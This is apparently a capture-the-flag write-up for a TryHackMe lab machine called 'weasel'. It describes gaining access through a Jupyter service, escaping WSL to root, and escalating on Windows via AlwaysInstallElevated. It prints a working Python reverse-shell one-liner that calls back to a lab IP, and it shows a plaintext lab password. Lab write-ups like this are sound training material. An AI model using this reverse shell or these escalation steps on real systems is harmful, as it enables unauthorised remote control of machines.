8888

Using the token from [[Hacking/TryHackMe/weasel/445]] we can login Now logging in:

We can try running a python revshell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.103.226",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

Now we get a shell back running penelope:

We are actually in WSL

We might have ssh keys.

Infact it is an ssh key:

Now trying to login:

We are in:

Now resuming the jupyter privesc: There isnt a file like that.

Now finding jupyter

We can copy one of these:

Now we can run jupyter console:

Now trying the revshell command again:

Now we get a shell in penelope:

We are root. Now mount c:/ drive in linux:

We can get the flag from administrator desktop.

Method 2

Alwaysinstallelevated is turned on.

We have credentials as well: Craft a payload:

Now enter the password wUqnKWqzha*W!PWrPRWi!M8faUn Now we get an elevated shell.

Last updated

Was this helpful?